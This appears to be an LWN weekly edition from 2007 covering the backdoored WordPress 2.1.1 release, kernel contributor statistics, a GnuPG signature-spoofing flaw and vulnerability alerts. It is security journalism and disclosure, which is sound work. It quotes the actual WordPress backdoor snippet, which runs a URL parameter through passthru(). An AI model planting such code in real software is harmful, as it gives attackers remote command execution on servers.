WordPress is, according to its web
site, "
a state-of-the-art semantic personal publishing platform with
a focus on aesthetics, web standards, and usability." In other
words, it is yet another weblog platform written in PHP. Like many such
platforms, it has a fairly long history of security issues. Even so, the
code samples featured in
this ifsecure
advisory are on the extreme side. One example:
function get_theme_mcommand($mcds) {
passthru($mcds);
}
/* ... */
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
Needless to say, code like this is not a programming error - it is a
deliberate backdoor. The project responded quickly, replacing the
compromised 2.1.1 release with a fixed 2.1.2 and sending out an
advisory. Even so, there are probably sites which installed the 2.1.1
release (which appears to have been distributed with the backdoor for about
one week) and which are still vulnerable.
It would be nice if the project would make a little more information
available. As others have noted, there are no checksums of good or
compromised versions of the software. We also know nothing about how the
code was compromised in the first place, beyond this:
It was determined that a cracker had gained user-level access to
one of the servers that powers wordpress.org, and had used that
access to modify the download file.
Inquiring minds want to know how this could have come about; is there a
separate WordPress vulnerability which still needs to be fixed? What steps
have been taken to ensure that this sort of security breach cannot happen
to future WordPress releases? The insertion of backdoors into services
which are directly exposed to the Internet is a scary business; anybody who
is running WordPress should be asking the project some serious questions to
convince themselves that they will not have to go through this again. Your
editor searched in vain for any such discussion in the WordPress forums.
In one sense, WordPress users can consider themselves lucky: the code
implementing the backdoor was so crude that it had little chance of
escaping detection for long. Had the backdoor code been more subtle, it
could well have survived for much longer. One assumes that the WordPress
developers are auditing their code, looking for holes inserted with more
care. But if they are, they are not talking about it.
In general, backdoors are a frightening prospect for free software
developers to ponder. The relatively open nature of many projects must
provide a tempting target for scheming crackers, and it is not that hard to
imagine that a good-enough developer could manage to code a backdoor in a
sufficiently obscure manner that it gets through the review process without
being detected. There may well be a project distributing such code now.
That said, a quick look at the (relatively thin) history of compromised
free software distributions shows that the normal contribution process is
not the preferred way to insert backdoors. Instead, crackers seem to focus
on breaking into servers and modifying code there. We can count ourselves
fortunate; such attacks are easier to detect and recover from.
The real lesson from this episode, as from the ones that came before, is
that there is a real incentive for crackers to insert malware into free
software distributions. (Clearly, the same incentive exists for
proprietary software, but that does not concern us here). Any project
which is distributing code with any security considerations at all (and
that is most code) needs to think about this threat. If your processes -
or your servers - are vulnerable to attack, it may be your project which
finds its way into the headlines for the wrong reasons.
Comments (5 posted)
Our article
Who wrote
2.6.20?, which appeared two weeks ago, generated a strong response.
There is, it seems, a lot of interest in where this code is coming from,
but nobody had gotten around to doing the crunching to figure it out. That
article calls for a followup in a few ways.
First, those who saw the article early on may want to take another look, as
some of the tables have been changed. There was only one serious mistake
to fix - one developer's affiliation was incorrectly guessed by the code -
but further information has also helped to shrink the "unknown" column
somewhat. The original tables can be found from the article (for whatever
historical reasons may exist), but the tables in the article itself are the
current ones.
The 2.6.21 cycle has moved far enough along as of this writing (the
2.6.21-rc3 prepatch is due any time) that it's worth taking a look
at the statistics for the just over 4,000 changesets which have been
merged. There are some familiar names here, but some new ones as well.
The reflect the different nature of this development cycle, 2.6.21 will
have fewer changes in the virtualization area, for example, but it has some
significant core changes (like the clockevents and dynamic tick
work). A somewhat different set of developers had work ready to merge this
time around, and the results show that.
Anyway, the developers with the most work merged this time around are:
| Most active 2.6.21 developers |
| By changesets | |
By lines changed |
| Eric W. Biederman | 104 | 2.5% |
|
Adrian Bunk | 24097 | 6.1% |
| Ralf Baechle | 77 | 1.9% |
|
Divy Le Ray | 18255 | 4.6% |
| Adrian Bunk | 71 | 1.7% |
|
Ben Dooks | 17510 | 4.4% |
| Bob Moore | 66 | 1.6% |
|
Andrew Victor | 13877 | 3.5% |
| Andrew Morton | 54 | 1.3% |
|
Ralf Baechle | 9905 | 2.5% |
| Takashi Iwai | 54 | 1.3% |
|
YOSHIFUJI Hideaki | 9505 | 2.4% |
| Robert P. J. Day | 53 | 1.3% |
|
Steve Wise | 9418 | 2.4% |
| Jeff Dike | 52 | 1.3% |
|
Jeff Garzik | 7014 | 1.8% |
| Jiri Slaby | 51 | 1.2% |
|
Vitaly Bordug | 6387 | 1.6% |
| Ben Dooks | 50 | 1.2% |
|
Thomas Gleixner | 6078 | 1.5% |
| Tejun Heo | 48 | 1.2% |
|
Bob Moore | 6055 | 1.5% |
| Al Viro | 48 | 1.2% |
|
Ishizaki Kou | 5912 | 1.5% |
| David Brownell | 47 | 1.1% |
|
Richard Purdie | 5909 | 1.5% |
| YOSHIFUJI Hideaki | 44 | 1.1% |
|
Liam Girdwood | 5773 | 1.5% |
| Mike Isely | 43 | 1.1% |
|
Frank Mandarino | 5284 | 1.3% |
| Thomas Gleixner | 38 | 0.9% |
|
Jay Cliburn | 5182 | 1.3% |
| Randy Dunlap | 38 | 0.9% |
|
Tejun Heo | 5120 | 1.3% |
| Stephen Hemminger | 36 | 0.9% |
|
Kumar Gala | 5044 | 1.3% |
| Alan Cox | 35 | 0.9% |
|
Martin Schwidefsky | 4729 | 1.2% |
| Michael Krufky | 32 | 0.8% |
|
Olof Johansson | 4659 | 1.2% |
On the side of removing code, the list of names remains about the same:
| Developers with the most lines removed |
| Adrian Bunk | 23720 | 12.8% |
| Jeff Garzik | 6808 | 3.7% |
| Paul Mundt | 2442 | 1.3% |
| Bob Moore | 1526 | 0.8% |
| Len Brown | 1244 | 0.7% |
| Alexey Starikovskiy | 987 | 0.5% |
| Jiri Slaby | 954 | 0.5% |
| Kenji Kaneshige | 661 | 0.4% |
| Eric Sandeen | 609 | 0.3% |
| Tim Schmielau | 547 | 0.3% |
Adrian Bunk continues to remove code from the kernel at an amazing rate.
Also about the same is the table of signoffs:
| Developers with the most signoffs (total 8614) |
| Andrew Morton | 1000 | 11.6% |
| Linus Torvalds | 865 | 10.0% |
| Jeff Garzik | 346 | 4.0% |
| Jaroslav Kysela | 224 | 2.6% |
| Greg Kroah-Hartman | 224 | 2.6% |
| David Miller | 208 | 2.4% |
| Mauro Carvalho Chehab | 206 | 2.4% |
| Len Brown | 202 | 2.3% |
| Takashi Iwai | 187 | 2.2% |
| Ralf Baechle | 156 | 1.8% |
| Russell King | 153 | 1.8% |
| Paul Mackerras | 151 | 1.8% |
| James Bottomley | 114 | 1.3% |
| Eric W. Biederman | 105 | 1.2% |
| Adrian Bunk | 99 | 1.1% |
| Andi Kleen | 94 | 1.1% |
| Alexey Starikovskiy | 82 | 1.0% |
| Kyle McMartin | 79 | 0.9% |
| David Brownell | 78 | 0.9% |
| Ingo Molnar | 68 | 0.8% |
The list of developers contributing code to a given kernel release can
change over time, but the people through whom those patches pass - the
subsystem maintainers - remain about the same. These developers form the
infrastructure which does the work of getting reviewed code into the
mainline kernel.
Here's the by-employer tables for 2.6.21-rc:
| Top contributors by employer |
| By changesets |
|
By lines changed |
| (Unknown) | 1108 | 27.1% |
|
(Unknown) | 85436 | 21.5% |
| (None) | 380 | 9.3% |
|
(None) | 52312 | 13.2% |
| Red Hat | 304 | 7.4% |
|
IBM | 28186 | 7.1% |
| Intel | 280 | 6.8% |
|
Intel | 20778 | 5.2% |
| IBM | 259 | 6.3% |
|
Red Hat | 19007 | 4.8% |
| Novell | 258 | 6.3% |
|
Novell | 18702 | 4.7% |
| Linux Foundation | 159 | 3.9% |
|
Chelsio | 18361 | 4.6% |
| Linux Networx | 104 | 2.5% |
|
Simtec | 17545 | 4.4% |
| (Consultant) | 100 | 2.4% |
|
SANPeople | 13949 | 3.5% |
| Oracle | 89 | 2.2% |
|
MIPS Technologies | 12646 | 3.2% |
| MIPS Technologies | 77 | 1.9% |
|
Open Grid Computing | 9442 | 2.4% |
| Google | 61 | 1.5% |
|
MontaVista | 8861 | 2.2% |
| MontaVista | 55 | 1.3% |
|
Toshiba | 7462 | 1.9% |
| SGI | 54 | 1.3% |
|
Wolfson Microelectronics | 7379 | 1.9% |
| Simtec | 50 | 1.2% |
|
Sony | 7061 | 1.8% |
| Nokia | 41 | 1.0% |
|
Freescale | 6993 | 1.8% |
| TimeSys | 38 | 0.9% |
|
TimeSys | 6184 | 1.6% |
| Sony | 36 | 0.9% |
|
Endrelia | 5421 | 1.4% |
| HP | 35 | 0.9% |
|
Nokia | 4790 | 1.2% |
| Toshiba | 34 | 0.8% |
|
Renesas Technology | 4740 | 1.2% |
Many of the names are the same, but Red Hat does not dominate to quite the
same extent as in 2.6.20. The percentage of patches contributed by
developers known to be working on their own time has increased slightly.
Finally, some commenters on the original article requested the release of
the code used to generate the numbers. Your editor has some qualms about
doing so. The biggest among them is not that the code is an
embarrassing hack with, presumably, at least one bug still in it. Neither
is it the fact that the code could be seen as a competitive tool for LWN;
frankly, there's nothing that complicated there.
The biggest worry is related to the attention these numbers drew, and the
fact that a couple of developers have mailed in to note that they have
received job offers as a result of appearing in the LWN lists. In
addition, a few employers have contacted us to be sure that their
"account" is credited with the work of all of their employees. The
numbers your editor has generated are approximations, but some people
clearly see them as being important.
The editors
at LWN have an interest in covering the free software community while
minimizing the changes that such coverage might cause - most of the time,
at least. It seems plausible that, if the "top 20 contributors list" is
seen as a desirable place
to appear - with positive career benefits - developers might change their
behavior as a result. It would be a shame to start seeing kernel patches
aimed mainly at increasing a developer's count of lines changed. Such
patches, one assumes, would not fare well in the review process, but it
would be better if the situation did not come up at all.
The issue of the mapping between developers and their employers is also
worth some consideration. Some of that information was obtained directly
from the developers with a promise not to disclose it further; that promise
must be kept. Beyond that, developers tend to change employers over time,
and the code is not currently smart enough to deal with that. This
shortcoming is not a problem when looking at a single release cycle, but it
clearly would be an issue for multi-year analysis. The code could be
improved, but it's not at all clear that the maintenance and distribution of a
database of kernel developers' work histories is something LWN wants to get
into. There are serious privacy issues to consider.
Despite these worries, the code is being released. In the end, it's not as
if somebody else would have all that much trouble reproducing it. Some of
the employer information has been taken out in response to the concerns outlined
above, though. A tarball of the initial release can be found here;
your editor is looking forward to the flood of patches which will improve
the system.
Comments (15 posted)
Page editor: Jonathan Corbet
Security
March 7, 2007
This article was contributed by Jake Edge.
An advisory about a problem
in GNU Privacy Guard (GnuPG) would normally cause worries about an
implementation flaw leading to insecurely encrypted data. Thankfully, this
particular vulnerability does not fall into that category and data encrypted
using GnuPG is not at risk from it; it is, instead, a hole which allows
attackers to spoof signatures.
This vulnerability highlights an interesting
interaction between GnuPG and the applications that use it. The flaw is not
so much in how GnuPG does its work, rather it is in how it presents it.
GnuPG is an implementation of the OpenPGP
standard which governs messages encrypted with public-key encryption.
The standard is described in
RFC 2440 and is descended
from the original
Pretty
Good Privacy (PGP) program that Phil Zimmerman released (much to the
chagrin of the US Government) in 1991. Many different mail programs use
GnuPG (or the related
GnuPG Made Easy
(GPGME) library) to handle encrypted email;
these programs include most open source
email clients (KMail, Evolution, Thunderbird via the EnigMail plugin, mutt,
etc.). All are vulnerable to the spoof - as is the gpg command-line
tool, depending on how it is used.
One of the features of OpenPGP is digital signing of
messages so that the recipient can ensure that the message they
receive is the same as the one that was sent. It is this digital
signature that is vulnerable to this attack as it can be spoofed; making it
appear that unsigned text is covered by a valid signature. An attacker
can insert malicious text into an existing message and have it appear
to have been sent by the signer.
OpenPGP messages consist of a set of "packets" that correspond to different
sections of a message (plaintext, encrypted, signature, compressed,
ascii-armored, etc). Taking two valid OpenPGP messages and concatenating
them produces a longer, but still valid, OpenPGP message. The simplest
way to exploit the flaw is to take a plaintext packet and add it to the
front of a signed plaintext packet. If the user attempts to verify
the message by invoking gpg < msgfile, they will see the contents
of both of the plaintext packets followed by a statement that the
signature was verified. Nothing in the output indicates the presence of
two packets with different signature status.
If this were the only issue, there would be a relatively easy, but not
completely satisfying, workaround; do not redirect stdin from a
file when using gpg. When
it is invoked as gpg msgfile, GnuPG writes each individual plaintext
packet into a separate file and, depending on the filenames specified in
the packet, the above example would either create two
files or prompt asking whether to overwrite when it encounters
the second packet. That prompt, or the presence of two files, might be
enough to alert the observant user to an anomaly, but is hardly foolproof.
Unfortunately, mail clients typically invoke gpg via the output
end of a pipe which allows them to be spoofed.
GnuPG does provide the --status-fd mode to prevent just this kind of
attack by producing more status information on the specified file descriptor.
The status information is not particularly user-friendly and might not
alert a casual user to the spoof, but it certainly can be used by a program
to detect the spoof. This is how GnuPG recommends that it be used by other
programs but the developers of many mail clients ignored that advice with
the result that their code is vulnerable.
Normally this might be considered a problem for the mail
client developers to solve, but the GnuPG team decided to make changes to
GnuPG and GPGME to alleviate the problem.
Updated versions of GnuPG will no longer process multiple messages in a
single invocation, avoiding the mingling of packets with
different signature status. GPGME has been changed to avoid the spoofing
even when it is using a vulnerable version of GnuPG. It is likely that the
various mail clients will need to be updated eventually as well because
they may well rely on GnuPG to process multiple messages in a single pass.
The mail clients may not correctly process all of the email types that they
did in the past, but they will not be vulnerable to this kind of attack.
The advisory has a wealth of information about the flaw and various ways that
it can be exploited; it is well worth a read for those interested. This is
an interesting bug because it lives between the GnuPG software and its
users (both human and program). The GnuPG developers could have pushed this
off as a problem for those users, but took a more helpful approach. If the
command-line version (gpg < msgfile) of the flaw did not exist,
it seems possible that they would have chosen differently and the mail client
development teams would instead be scrambling to release updates.
Comments (13 posted)
Brief items
The Month of PHP Bugs (March)
has been announced.
"
This initiative is an effort to improve the security of PHP. However we will not concentrate on problems in the PHP language that might result in insecure PHP applications, but on security vulnerabilities in the PHP core. During March 2007 old and new security vulnerabilities in the Zend Engine, the PHP core and the PHP extensions will be disclosed on a day by day basis. We will also point out necessary changes in the current vulnerability manag[e]ment process used by the PHP Security Response Team."
Comments (1 posted)
New vulnerabilities
GnuPG: unsigned data injection vulnerability
| Package(s): | gnupg |
CVE #(s): | CVE-2007-1263
|
| Created: | March 6, 2007 |
Updated: | March 30, 2007 |
| Description: |
Core Security Technologies has reported
that GnuPG and GnuPG clients are vulnerable to an unsigned data injection
vulnerability. |
| Alerts: |
|
Comments (none posted)
mod_jk: stack overflow
| Package(s): | mod_jk |
CVE #(s): | CVE-2007-0774
|
| Created: | March 5, 2007 |
Updated: | May 30, 2007 |
| Description: |
A stack overflow flaw was found in the URI handler of mod_jk. A remote
attacker could visit a carefully crafted URL being handled by mod_jk and
trigger this flaw, which could lead to the execution of arbitrary code as the
'apache' user. |
| Alerts: |
|
Comments (none posted)
mod_python: information disclosure
| Package(s): | libapache2-mod-python |
CVE #(s): | CVE-2004-2680
|
| Created: | March 7, 2007 |
Updated: | March 8, 2007 |
| Description: |
From the Ubuntu advisory: Miles Egan discovered that mod_python, when used in output filter mode,
did not handle output larger than 16384 bytes, and would display freed
memory, possibly disclosing private data. |
| Alerts: |
|
Comments (none posted)
snort: remote arbitrary code execution
| Package(s): | snort |
CVE #(s): | CVE-2006-5276
|
| Created: | March 2, 2007 |
Updated: | September 7, 2007 |
| Description: |
The Snort intrusion detection system is vulnerable to a buffer overflow
in the DCE/RPC preprocessor code. Remote attackers can send
specially crafted fragmented SMB or DCE/RPC packets which can be used
to allow the the remote execution of arbitrary code. |
| Alerts: |
|
Comments (1 posted)
STLport: buffer overflows
| Package(s): | STLport |
CVE #(s): | CVE-2007-0803
|
| Created: | March 7, 2007 |
Updated: | March 7, 2007 |
| Description: |
STLport (prior to version 5.0.3) suffers from two remotely exploitable buffer overflows. |
| Alerts: |
|
Comments (none posted)
tcpdump: denial of service
| Package(s): | tcpdump |
CVE #(s): | CVE-2007-1218
|
| Created: | March 5, 2007 |
Updated: | November 15, 2007 |
| Description: |
Off-by-one buffer overflow in the parse_elements function in the 802.11
printer code (print-802_11.c) for tcpdump 3.9.5 and earlier allows remote
attackers to cause a denial of service (crash) via a crafted 802.11
frame. NOTE: this was originally referred to as heap-based, but it might be
stack-based. |
| Alerts: |
|
Comments (none posted)
util-linux: information disclosure
| Package(s): | util-linux |
CVE #(s): | CVE-2007-0822
|
| Created: | March 7, 2007 |
Updated: | March 7, 2007 |
| Description: |
Users can confuse util-linux by way of removable drives, leading to crashes and the possibility of information disclosure via the resulting core dumps. |
| Alerts: |
|
Comments (1 posted)
wordpress: cross-site scripting
| Package(s): | wordpress |
CVE #(s): | CVE-2007-1049
|
| Created: | March 5, 2007 |
Updated: | March 21, 2007 |
| Description: |
A Cross-site scripting (XSS) vulnerability in the wp_explain_nonce function in
the nonce AYS functionality (wp-includes/functions.php) for WordPress 2.0
before 2.0.9 and 2.1 before 2.1.1 allows remote attackers to inject arbitrary
web script or HTML via the file parameter to wp-admin/templates.php, and
possibly other vectors involving the action variable. |
| Alerts: |
|
Comments (none posted)
Updated vulnerabilities
acroread: multiple vulnerabilities
| Package(s): | acroread |
CVE #(s): | CVE-2006-5857
CVE-2007-0045
CVE-2007-0046
|
| Created: | January 11, 2007 |
Updated: | October 26, 2009 |
| Description: |
Adobes acrobat reader has the following vulnerabilities:
The Adobe Reader Plugin has a cross site scripting vulnerability that
can be triggered by processes malformed URLs. Arbitrary JavaScript can
be served by a malicious web server, leading to a cross-site scripting
attack.
Maliciously crafted PDF files can be used to trigger two vulnerabilities,
if an attacker can trick a user into viewing the files, arbitrary code
can be executed with the user's privileges. |
| Alerts: |
|
Comments (1 posted)
apache: cross-site scripting
| Package(s): | apache |
CVE #(s): | CVE-2006-3918
|
| Created: | August 9, 2006 |
Updated: | April 4, 2008 |
| Description: |
From the Red Hat advisory: "A bug was found in Apache where an invalid Expect header sent to the server
was returned to the user in an unescaped error message. This could
allow an attacker to perform a cross-site scripting attack if a victim was
tricked into connecting to a site and sending a carefully crafted Expect
header." |
| Alerts: |
|
Comments (none posted)
bind: denial of service
| Package(s): | bind |
CVE #(s): | CVE-2007-0493
CVE-2007-0494
|
| Created: | January 26, 2007 |
Updated: | March 14, 2007 |
| Description: |
The bind package is vulnerable to two remote denial of service attacks in
which attackers can cause the bind daemon to to crash or exit unexpectedly
by providing malformed data to the daemon in a DNS request. |
| Alerts: |
|
Comments (none posted)
bluez-utils: hidd vulnerability
| Package(s): | bluez-utils |
CVE #(s): | CVE-2006-6899
|
| Created: | January 16, 2007 |
Updated: | May 14, 2007 |
| Description: |
hidd in BlueZ (bluez-utils) before 2.25 allows remote attackers to obtain
control of the Mouse and Keyboard Human Interface Device (HID) via a
certain configuration of two HID (PSM) endpoints, operating as a server,
aka HidAttack. |
| Alerts: |
|
Comments (none posted)
bugzilla: multiple vulnerabilities
| Package(s): | bugzilla |
CVE #(s): | CVE-2006-5453
CVE-2006-5454
CVE-2006-5455
|
| Created: | November 10, 2006 |
Updated: | August 28, 2007 |
| Description: |
Bugzilla has the following vulnerabilities:
Input data passed to various fields is not properly sanitized before
being passed back to users.
Users can gain unauthorized access to read attachment
descriptions while using diff mode.
HTTP GET and HTTP POST requests can be used to perform unauthorized
actions due to improper verification.
Input that is passed to showdependencygraph.cgi is not properly
sanitized before being returned to users. |
| Alerts: |
|
Comments (none posted)
busybox: insecure password generation
| Package(s): | busybox |
CVE #(s): | CVE-2006-1058
|
| Created: | May 5, 2006 |
Updated: | May 2, 2007 |
| Description: |
The BusyBox 1.1.1 passwd command does not use a proper salt when generating
passwords. This would create an instance where a brute force attack could
take very little time. |
| Alerts: |
|
Comments (2 posted)
chmlib: remote execution of arbitrary code
| Package(s): | chmlib |
CVE #(s): | CVE-2007-0619
|
| Created: | February 27, 2007 |
Updated: | February 28, 2007 |
| Description: |
When certain CHM files that contain tables and objects stored in pages are
parsed by CHMlib, an unsanitized value is passed to the alloca() function
resulting in a shift of the stack pointer to arbitrary memory locations.
An attacker could entice a user to open a specially crafted CHM file,
resulting in the execution of arbitrary code with the permissions of the
user viewing the file. |
| Alerts: |
|
Comments (none posted)
clamav: directory traversal, denial of service
| Package(s): | clamav |
CVE #(s): | CVE-2007-0897
CVE-2007-0898
|
| Created: | February 20, 2007 |
Updated: | March 7, 2007 |
| Description: |
Clam AntiVirus ClamAV before 0.90 does not close open file descriptors
under certain conditions, which allows remote attackers to cause a denial
of service (file descriptor consumption and failed scans) via CAB archives
with a cabinet header record length of zero, which causes a function to
return without closing a file descriptor. (CVE-2007-0897)
Directory traversal vulnerability in clamd in Clam AntiVirus ClamAV before
0.90 allows remote attackers to overwrite arbitrary files via a .. (dot
dot) in the id MIME header parameter in a multi-part
message. (CVE-2007-0898) |
| Alerts: |
|
Comments (none posted)
cpio: arbitrary code execution
| Package(s): | cpio |
CVE #(s): | CVE-2005-4268
|
| Created: | January 2, 2006 |
Updated: | March 17, 2010 |
| Description: |
Richard Harms discovered that cpio did not sufficiently validate file
properties when creating archives. Files with e. g. a very large size
caused a buffer overflow. By tricking a user or an automatic backup
system into putting a specially crafted file into a cpio archive, a
local attacker could probably exploit this to execute arbitrary code
with the privileges of the target user (which is likely root in an
automatic backup system). |
| Alerts: |
|
Comments (none posted)
vixie-cron: privilege escalation
| Package(s): | cron |
CVE #(s): | CVE-2006-2607
|
| Created: | May 31, 2006 |
Updated: | June 1, 2009 |
| Description: |
The Vixie cron daemon does not check the return code from setuid(); if that call can be made to fail, a local attacker may be able to execute commands as root. |
| Alerts: |
|
Comments (1 posted)
cscope: buffer overflows
| Package(s): | cscope |
CVE #(s): | CVE-2006-4262
|
| Created: | October 2, 2006 |
Updated: | June 16, 2009 |
| Description: |
Will Drewry of the Google Security Team discovered several buffer overflows
in cscope, a source browsing tool, which might lead to the execution of
arbitrary code. |
| Alerts: |
|
Comments (none posted)
cscope: buffer overflows
| Package(s): | cscope |
CVE #(s): | CVE-2004-2541
|
| Created: | May 22, 2006 |
Updated: | June 19, 2009 |
| Description: |
A buffer overflow in Cscope 15.5, and possibly multiple overflows, allows
remote attackers to execute arbitrary code via a C file with a long
#include line that is later browsed by the target. |
| Alerts: |
|
Comments (1 posted)
Cyrus-SASL: DIGEST-MD5 Pre-Authentication Denial of Service
| Package(s): | cyrus-sasl |
CVE #(s): | CVE-2006-1721
|
| Created: | April 21, 2006 |
Updated: | September 4, 2007 |
| Description: |
Cyrus-SASL contains an unspecified vulnerability in the DIGEST-MD5
process that could lead to a Denial of Service. An attacker could possibly
exploit this vulnerability by sending specially crafted data stream to the
Cyrus-SASL server, resulting in a Denial of Service even if the attacker is
not able to authenticate. |
| Alerts: |
|
Comments (none posted)
dovecot: index cache file handling error
| Package(s): | dovecot |
CVE #(s): | CVE-2006-5973
|
| Created: | November 29, 2006 |
Updated: | May 8, 2007 |
| Description: |
The dovecot IMAP server has an error in its index cache file handling code which could be exploited by an authenticated user to execute arbitrary code. Only servers with the (non-default) mmap_disable=yes option setting are vulnerable. |
| Alerts: |
|
Comments (none posted)
ekiga: format string vulnerability
| Package(s): | ekiga |
CVE #(s): | CVE-2007-1006
CVE-2007-0999
|
| Created: | February 21, 2007 |
Updated: | March 30, 2007 |
| Description: |
Ekiga contains a format string vulnerability in the code which processes
control messages from remote peers.
If a user was running Ekiga and listening for incoming calls, a remote
attacker could send a crafted call request, and execute arbitrary code with
the user's privileges. |
| Alerts: |
|
Comments (none posted)
elinks: arbitrary file access
| Package(s): | elinks |
CVE #(s): | CVE-2006-5925
|
| Created: | November 16, 2006 |
Updated: | October 22, 2009 |
| Description: |
The elinks text-mode browser has an arbitrary file access vulnerability
in the Elinks SMB protocol handler. If a user can be tricked into
visiting a specially crafted web page, arbitrary files may be read or
written with the user's permissions. |
| Alerts: |
|
Comments (none posted)
enigmail: memory allocation errors
| Package(s): | enigmail |
CVE #(s): | CVE-2006-5877
|
| Created: | February 23, 2007 |
Updated: | February 28, 2007 |
| Description: |
Mikhail Markin reported that enigmail incorrectly handled memory
allocations for certain large encrypted attachments. This caused
Thunderbird to crash and thus caused the entire message to be
inaccessible. |
| Alerts: |
|
Comments (none posted)
fail2ban: denial of service
| Package(s): | fail2ban |
CVE #(s): | CVE-2006-6302
|
| Created: | February 16, 2007 |
Updated: | July 30, 2007 |
| Description: |
fail2ban 0.7.4 and earlier does not properly parse sshd logs file, which
allows remote attackers to add arbitrary hosts to the /etc/hosts.deny file
and cause a denial of service by adding arbitrary IP addresses to the sshd
log file, as demonstrated by logging in to ssh using a login name
containing certain strings with an IP address. |
| Alerts: |
|
Comments (3 posted)
fetchmail: password disclosure and DOS
| Package(s): | fetchmail |
CVE #(s): | CVE-2006-5867
CVE-2006-5974
|
| Created: | January 10, 2007 |
Updated: | March 16, 2007 |
| Description: |
Fetchmail suffers from a password disclosure vulnerability due to a failure to use secure protocols (advisory) and a denial of service vulnerability (advisory). |
| Alerts: |
|
Comments (none posted)
ffmpeg: buffer overflows
| Package(s): | ffmpeg |
CVE #(s): | CVE-2006-4799
CVE-2006-4800
|
| Created: | September 14, 2006 |
Updated: | May 28, 2007 |
| Description: |
the AVI processing code in FFmpeg has a number of buffer overflow
vulnerabilities.
If an attacker can trick a user into loading a specially crafted
crafted AVI, arbitrary code can be executed with the user's privileges. |
| Alerts: |
|
Comments (2 posted)
Mozilla stuff: multiple vulnerabilities
Comments (none posted)
freeradius: several vulnerabilities
| Package(s): | freeradius |
CVE #(s): | CVE-2005-4745
CVE-2005-4746
|
| Created: | August 8, 2006 |
Updated: | April 24, 2007 |
| Description: |
Several remote vulnerabilities have been discovered in freeradius, a
high-performance RADIUS server, which may lead to SQL injection or denial
of service. |
| Alerts: |
|
Comments (none posted)
freetype: integer overflows
| Package(s): | freetype |
CVE #(s): | CVE-2006-0747
CVE-2006-1861
CVE-2006-2493
CVE-2006-2661
CVE-2006-3467
|
| Created: | June 8, 2006 |
Updated: | June 1, 2010 |
| Description: |
The FreeType library has several integer overflow vulnerabilities.
If a user can be tricked into installing a specially
crafted font file, arbitrary code can be executed with the privilege
of the user. |
| Alerts: |
|
Comments (none posted)
gcc: file overwrite vulnerability
| Package(s): | gcc |
CVE #(s): | CVE-2006-3619
|
| Created: | September 6, 2006 |
Updated: | March 14, 2008 |
| Description: |
The fastjar utility found in the GNU compiler collection does not perform adequate file path checking, allowing the creation or overwriting of files outside of the current directory tree. |
| Alerts: |
|
Comments (none posted)
gd: buffer overflow
| Package(s): | gd |
CVE #(s): | CVE-2007-0455
|
| Created: | February 7, 2007 |
Updated: | November 18, 2009 |
| Description: |
The gd graphics library contains a buffer overflow which could enable a remote attacker to execute arbitrary code. Note that various other packages include code from gd and could also be vulnerable. |
| Alerts: |
|
Comments (2 posted)
gdb: buffer overflow
| Package(s): | gdb |
CVE #(s): | CVE-2006-4146
|
| Created: | September 15, 2006 |
Updated: | June 12, 2007 |
| Description: |
A buffer overflow in dwarfread.c and dwarf2read.c debugging code in GNU
Debugger (GDB) 6.5 allows user-assisted attackers, or restricted users, to
execute arbitrary code via a crafted file with a location block
(DW_FORM_block) that contains a large number of operations. |
| Alerts: |
|
Comments (none posted)
gdm: improper file permissions
| Package(s): | gdm |
CVE #(s): | CVE-2006-1057
|
| Created: | April 19, 2006 |
Updated: | May 2, 2007 |
| Description: |
The .ICEauthority file may be created with the wrong ownership and permissions; gdm 2.14.2 fixes the problem. |
| Alerts: |
|
Comments (none posted)
gedit: format string vulnerability
| Package(s): | gedit |
CVE #(s): | CAN-2005-1686
|
| Created: | June 9, 2005 |
Updated: | February 5, 2009 |
| Description: |
A format string vulnerability has been discovered in gedit. Calling
the program with specially crafted file names caused a buffer
overflow, which could be exploited to execute arbitrary code with the
privileges of the gedit user. |
| Alerts: |
|
Comments (1 posted)
gnomemeeting: format string flaw
| Package(s): | gnomemeeting |
CVE #(s): | CVE-2007-1007
|
| Created: | February 20, 2007 |
Updated: | March 5, 2007 |
| Description: |
A format string flaw was found in the way GnomeMeeting processes certain
messages. If a user is running GnomeMeeting, a remote attacker who can
connect to GnomeMeeting could trigger this flaw and potentially execute
arbitrary code with the privileges of the user. |
| Alerts: |
|
Comments (none posted)
gnupg: stack overwrite
| Package(s): | gnupg |
CVE #(s): | CVE-2006-6235
|
| Created: | December 12, 2006 |
Updated: | March 13, 2007 |
| Description: |
A "stack overwrite" vulnerability in GnuPG (gpg) allows attackers to
execute arbitrary code via crafted OpenPGP packets that cause GnuPG to
dereference a function pointer from deallocated stack memory. |
| Alerts: |
|
Comments (3 posted)
grip: buffer overflow
| Package(s): | grip |
CVE #(s): | CAN-2005-0706
|
| Created: | March 10, 2005 |
Updated: | November 19, 2008 |
| Description: |
Grip, a CD ripper, has a buffer overflow vulnerability that can
occur when the CDDB server returns more than 16 matches. |
| Alerts: |
|
Comments (none posted)
gv: stack-based buffer overflow
| Package(s): | gv |
CVE #(s): | CVE-2006-5864
|
| Created: | November 20, 2006 |
Updated: | April 9, 2007 |
| Description: |
Stack-based buffer overflow in the ps_gettext function in ps.c for GNU gv
3.6.2, and possibly earlier versions, allows user-assisted attackers to
execute arbitrary code via a PostScript (PS) file with certain headers that
contain long comments, as demonstrated using the DocumentMedia header. |
| Alerts: |
|
Comments (none posted)
gzip: multiple vulnerabilities
| Package(s): | gzip |
CVE #(s): | CVE-2006-4334
CVE-2006-4335
CVE-2006-4336
CVE-2006-4337
CVE-2006-4338
|
| Created: | September 19, 2006 |
Updated: | January 20, 2010 |
| Description: |
Tavis Ormandy of the Google Security Team discovered two denial of service
flaws in the way gzip expanded archive files. If a victim expanded a
specially crafted archive, it could cause the gzip executable to hang or
crash.
Tavis Ormandy of the Google Security Team discovered several code execution
flaws in the way gzip expanded archive files. If a victim expanded a
specially crafted archive, it could cause the gzip executable to crash or
execute arbitrary code. |
| Alerts: |
|
Comments (1 posted)
horde-kronolith: local file inclusion
| Package(s): | horde-kronolith |
CVE #(s): | CVE-2006-6175
|
| Created: | January 17, 2007 |
Updated: | March 7, 2008 |
| Description: |
Kronolith contains a mistake in lib/FBView.php where a raw, unfiltered
string is used instead of a sanitized string to view local files. An
authenticated attacker could craft an HTTP GET request that uses directory
traversal techniques to execute any file on the web server as PHP code,
which could allow information disclosure or arbitrary code execution with
the rights of the user running the PHP application (usually the webserver
user). |
| Alerts: |
|
Comments (none posted)
ImageMagick: buffer overflows
| Package(s): | ImageMagick |
CVE #(s): | CVE-2006-5456
|
| Created: | October 31, 2006 |
Updated: | March 8, 2007 |
| Description: |
Multiple buffer overflows in GraphicsMagick before 1.1.7 and ImageMagick
